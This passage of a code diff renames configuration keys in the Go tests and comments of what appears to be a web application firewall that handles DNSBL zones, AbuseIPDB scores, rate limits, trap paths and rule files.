dnsblZones: dnsblZone, dnsblResolver: noResolver, dnsblAbuseIPDBAction: actionLog,
},
func(server *waf.Server) {
loadVerdicts(server, map[string][]string{fromDE: {dnsblZone}})
@@ -575,7 +575,7 @@ func TestReputationSourcesTagTheRequestWhateverTheirAction(t *testing.T) {
},
{
abuseipdb,
map[string]string{abuseIPDBKey: accountKey, reputationAction: actionLog},
map[string]string{abuseIPDBKey: accountKey, dnsblAbuseIPDBAction: actionLog},
func(server *waf.Server) {
loadScores(server, map[string]int64{fromDE: 80})
},
@@ -602,7 +602,7 @@ func TestObserveModeForwardsAClientADNSBLZoneDeniesAndAlertsIt(
t.Parallel()
s, server, queue := startWithLookups(t, map[string]string{
dnsblZones: dnsblZone, dnsblResolver: noResolver, reputationAction: actionDeny,
dnsblZones: dnsblZone, dnsblResolver: noResolver, dnsblAbuseIPDBAction: actionDeny,
mode: observe,
})
loadVerdicts(server, map[string][]string{fromDE: {dnsblZone}})
@@ -617,33 +617,33 @@ func TestObserveModeForwardsAClientADNSBLZoneDeniesAndAlertsIt(
}
}
func TestReputationLimitTakesPartInTheLowestPercentageOfEveryLimit(
func TestDNSBLAbuseIPDBLimitTakesPartInTheLowestPercentageOfEveryLimit(
t *testing.T,
) {
t.Parallel()
for _, tc := range []struct {
blocklistAction, reputationAction string
blocklistAction, dnsblAbuseIPDBAction string
// want is the request's rate_limit_percent and bytes_limit_percent, as
// percentText gives them.
want string
}{
{limitHalf, limitQuarter, "25 from " + reputationAction},
{limitHalf, limitQuarter, "25 from " + dnsblAbuseIPDBAction},
{limitQuarter, limitHalf, "25 from " + blocklistAction},
// The blocklist's, the first of two alike.
{limitQuarter, limitQuarter, "25 from " + blocklistAction},
{actionLog, limitQuarter, "25 from " + reputationAction},
{actionLog, limitQuarter, "25 from " + dnsblAbuseIPDBAction},
{actionLog, actionLog, none},
} {
t.Run(
tc.blocklistAction+" "+tc.reputationAction,
tc.blocklistAction+" "+tc.dnsblAbuseIPDBAction,
func(t *testing.T) {
t.Parallel()
s, server, _ := startWithLookups(t, map[string]string{
blocklistURLs: dropURL, blocklistAction: tc.blocklistAction,
dnsblZones: dnsblZone, dnsblResolver: noResolver,
reputationAction: tc.reputationAction,
dnsblAbuseIPDBAction: tc.dnsblAbuseIPDBAction,
})
loadLists(t, server, map[string][]string{dropURL: {fromDE}})
loadVerdicts(
@@ -676,7 +676,7 @@ func TestEachZoneThatListsAClientRaisesAnAlertOncePerCooldownAndIsCounted(
s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{
dnsblZones: dnsblZone + "," + otherZone, dnsblResolver: noResolver,
reputationAction: actionLog, metricsToken: token,
dnsblAbuseIPDBAction: actionLog, metricsToken: token,
})
loadVerdicts(server, map[string][]string{
fromDE: {dnsblZone, otherZone}, unplaced: nil,
@@ -740,7 +740,7 @@ func TestZoneKeyIsMaskedInTheLogTheAlertAndTheMetrics(t *testing.T) {
)
s, server, queue := startWithLookups(t, map[string]string{
dnsblZones: keyed, dnsblResolver: noResolver, reputationAction: actionLog,
dnsblZones: keyed, dnsblResolver: noResolver, dnsblAbuseIPDBAction: actionLog,
metricsToken: token,
})
loadVerdicts(server, map[string][]string{fromDE: {keyed}, unplaced: nil})
@@ -849,7 +849,7 @@ func TestOnlyAClientThatHasCommittedAnOffenceIsCheckedWithAbuseIPDB(
forward := requestlog.ActionForward
s, clk, server, _ := startWithLookupsAndClock(t, map[string]string{
abuseIPDBKey: accountKey, rateLimitPerMinute: "2", reputationAction: actionLog,
abuseIPDBKey: accountKey, rateLimitPerMinute: "2", dnsblAbuseIPDBAction: actionLog,
})
// Neither fromDE, until it breaks a rate limit, nor fromKP, which never
@@ -892,7 +892,7 @@ func TestIPv6ClientCostsOneAbuseIPDBCheckWhicheverOfItsAddressesSends(
}
s, clk, server := startWithClock(t, "", map[string]string{
abuseIPDBKey: accountKey, reputationAction: actionLog,
abuseIPDBKey: accountKey, dnsblAbuseIPDBAction: actionLog,
rateLimitPerMinute: strconv.Itoa(len(addresses)),
})
@@ -961,9 +961,12 @@ func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(
t.Parallel()
s, clk, server := startWithClock(t, "", map[string]string{
abuseIPDBKey: accountKey, reputationAction: actionLog,
rulesDir: writeRules(t, testRules), attackBanDuration: "1h",
trapPaths: trapPathList, wafMode: block,
abuseIPDBKey: accountKey, dnsblAbuseIPDBAction: actionLog,
ruleFilesDir: writeRules(
t,
testRules,
), attackBanDuration: "1h",
trapPaths: trapPathList, coreRuleSetMode: block,
})
s.request(client, tc.path, tc.status, tc.action)
@@ -986,7 +989,7 @@ func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(
}
}
func TestEachReputationActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(
func TestEachDNSBLAbuseIPDBActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(
t *testing.T,
) {
t.Parallel()
@@ -1009,7 +1012,7 @@ func TestEachReputationActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(
// Half of 4 requests a minute: the third breaks the limit.
limitHalf, []int{http.StatusOK, http.StatusOK, http.StatusForbidden},
[]string{forward, forward, requestlog.ActionClientIsRateLimited},
"50 from " + reputationAction,
"50 from " + dnsblAbuseIPDBAction,
},
{
actionLog, []int{http.StatusOK, http.StatusOK, http.StatusOK},
@@ -1021,7 +1024,7 @@ func TestEachReputationActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(
s, server, _ := startWithLookups(t, map[string]string{
rateLimitPerMinute: fourAMinute, abuseIPDBKey: accountKey,
reputationAction: tc.action,
dnsblAbuseIPDBAction: tc.action,
})
// At SWW_WAF_ABUSEIPDB_MIN_SCORE, 75 by default, and just under it.
loadScores(server, map[string]int64{fromDE: 75, fromKP: 74})
@@ -1068,7 +1071,7 @@ func TestAbuseIPDBHitRaisesAnAlertWithTheScoreOncePerCooldownAndIsCounted(
t.Parallel()
s, server, queue := startWithLookups(t, map[string]string{
abuseIPDBKey: accountKey, reputationAction: actionLog, metricsToken: token,
abuseIPDBKey: accountKey, dnsblAbuseIPDBAction: actionLog, metricsToken: token,
})
loadScores(server, map[string]int64{fromDE: 90})
@@ -1159,10 +1162,10 @@ func TestBanNotesNameEachReputationSourceThatListedTheClient(t *testing.T) {
t.Parallel()
s, _, server, queue := startWithAlerts(t, map[string]string{
rateLimitPerMinute: "1", rulesDir: writeRules(t, testRules),
rateLimitPerMinute: "1", ruleFilesDir: writeRules(t, testRules),
blocklistURLs: dropURL, blocklistAction: actionLog,
dnsblZones: dnsblZone, dnsblResolver: noResolver,
abuseIPDBKey: accountKey, reputationAction: actionLog,
abuseIPDBKey: accountKey, dnsblAbuseIPDBAction: actionLog,
})
// Every source lists client, and none otherClient, whose score is
// under SWW_WAF_ABUSEIPDB_MIN_SCORE, 75 by default.
+3 -3
View File
@@ -44,7 +44,7 @@ type decision struct {
lookedUp bool
lookupAnswer lookup.Answer
// skippedLookupWait is true for a request that did not wait for GeoJS and
// found no answer kept. SWW_WAF_UNKNOWN_LIMIT_PERCENT does not apply to it,
// found no answer kept. SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT does not apply to it,
// so that not waiting never lowers its client's limits.
skippedLookupWait bool
// counted is true for a request the rate limits counted, whose bytes
@@ -367,13 +367,13 @@ func (rq *request) countAnomalies() {
}
// anomalyThresholdsSet reports whether any anomaly threshold is set.
func anomalyThresholdsSet(cfg *config.Config) bool {
func anomalyThresholdsSet(cfg *config.WAF) bool {
off := anomaly.Thresholds{}
return cfg.AnomalyClient != off || cfg.AnomalyNet != off ||
cfg.AnomalyASN != off ||
cfg.AnomalyTotal != off ||
cfg.AnomalyWatch != off
cfg.AnomalyWatchedNet != off
}
// answerAtTheEnd returns, for a client that was looked up, the lookup's
+1 -1
View File
@@ -1,7 +1,7 @@
package waf
// The heuristic rule_files. It reads the rules of the rule files, which
// SWW_WAF_RULES_DIR and SWW_WAF_RULES_ENABLED name.
// SWW_WAF_RULE_FILES_DIR and SWW_WAF_RULE_FILES_ENABLED name.
import (
"context"
+9 -9
View File
@@ -25,8 +25,8 @@ func TestEachRuleAction(t *testing.T) {
t.Parallel()
s, clk, server := startWithClock(t, "", map[string]string{
rulesDir: writeRules(t, "noted path log ^/\n"+testRules),
banResponse: "429",
ruleFilesDir: writeRules(t, "noted path log ^/\n"+testRules),
banResponse: "429",
})
start := clk.Now()
@@ -112,7 +112,7 @@ func TestEachRuleActionAddsTheExploitSignatureTag(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{
rulesDir: writeRules(t, "noted path log ^/noted$\n"+testRules),
ruleFilesDir: writeRules(t, "noted path log ^/noted$\n"+testRules),
})
wantTags(
@@ -129,7 +129,7 @@ func TestRuleRefusalNamesItsHeuristicAndTheRule(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{
rulesDir: writeRules(t, "noted path log ^/\n"+testRules),
ruleFilesDir: writeRules(t, "noted path log ^/\n"+testRules),
})
line := s.request(client, "/blocked", http.StatusForbidden,
@@ -155,7 +155,7 @@ func TestNextClearSignOfAttackAfterABanBansPermanently(t *testing.T) {
t.Parallel()
s, clk, _ := startWithClock(t, "", map[string]string{
rulesDir: writeRules(t, testRules),
ruleFilesDir: writeRules(t, testRules),
attackBanDuration: "1h",
})
@@ -193,7 +193,7 @@ func TestRulesComeAfterTheOtherChecks(t *testing.T) {
)
s, _, server := startWithClock(t, "", map[string]string{
rulesDir: writeRules(t, testRules),
ruleFilesDir: writeRules(t, testRules),
allowNets: allowed,
rateLimitExemptNets: exempt,
rateLimitPerMinute: "1",
@@ -234,8 +234,8 @@ func TestObserveModeLogsWhatTheRulesWouldDo(t *testing.T) {
t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{
rulesDir: writeRules(t, testRules),
mode: observe,
ruleFilesDir: writeRules(t, testRules),
mode: observe,
})
line := s.request(
@@ -273,7 +273,7 @@ func TestMetricsCountRuleMatchesAndBansForAnAttack(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{
rulesDir: writeRules(t, testRules),
ruleFilesDir: writeRules(t, testRules),
metricsToken: token,
})
+5 -5
View File
@@ -156,11 +156,11 @@ func TestRateLimitExemptNetsAreNeitherCountedNorRefused(t *testing.T) {
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
geojsURL, _ := startGeoJS(t)
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
trustedProxies: trustLocalhost,
lookupTimeout: "1h",
rateLimitExemptNets: listedAddr + "," + fromKP,
tagDeny: denyKP,
rateLimitPerMinute: "1",
trustedProxies: trustLocalhost,
asnAndCountryLookupTimeout: "3600000",
rateLimitExemptNets: listedAddr + "," + fromKP,
tagDeny: denyKP,
rateLimitPerMinute: "1",
})
// listedAddr's requests are neither refused nor counted, so the first
+2 -2
View File
@@ -70,7 +70,7 @@ func TestTagDenyRefusesAMixedCaseZoneByItsLowerCaseTag(t *testing.T) {
// The zone's tag is in lower case, however SWW_WAF_DNSBL_ZONES writes it.
s, server, _ := startWithLookups(t, map[string]string{
dnsblZones: mixedCaseZone, dnsblResolver: noResolver,
reputationAction: actionLog, tagDeny: "dnsbl=" + dnsblZone,
dnsblAbuseIPDBAction: actionLog, tagDeny: "dnsbl=" + dnsblZone,
})
loadVerdicts(server, map[string][]string{fromDE: {mixedCaseZone}})
@@ -86,7 +86,7 @@ func TestTagDenyRefusesAnExploitSignatureOfARuleThatOnlyLogs(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{
rulesDir: writeRules(
ruleFilesDir: writeRules(
t,
"noted path log ^/\n",
), tagDeny: "exploitsignature",
+6 -6
View File
@@ -25,10 +25,10 @@ func TestTrapPathBansAsABanRuleDoes(t *testing.T) {
// A block rule for the same path: the trap path comes first.
s, clk, server := startWithClock(t, "", map[string]string{
trapPaths: trapPathList,
rulesDir: writeRules(t, `wp path block ^/wp-login\.php$`),
allowNets: allowed,
banResponse: "429",
trapPaths: trapPathList,
ruleFilesDir: writeRules(t, `wp path block ^/wp-login\.php$`),
allowNets: allowed,
banResponse: "429",
})
start := clk.Now()
@@ -153,8 +153,8 @@ func TestTrapPathsNeedNoRuleFiles(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{
trapPaths: trapPathList,
"SWW_WAF_RULES_ENABLED": "false",
trapPaths: trapPathList,
"SWW_WAF_RULE_FILES_ENABLED": "false",
})
s.request(client, "/xmlrpc.php", http.StatusForbidden,
Loaded 100 of 104 files, more files were not shown because too many files have changed in this diff. Show more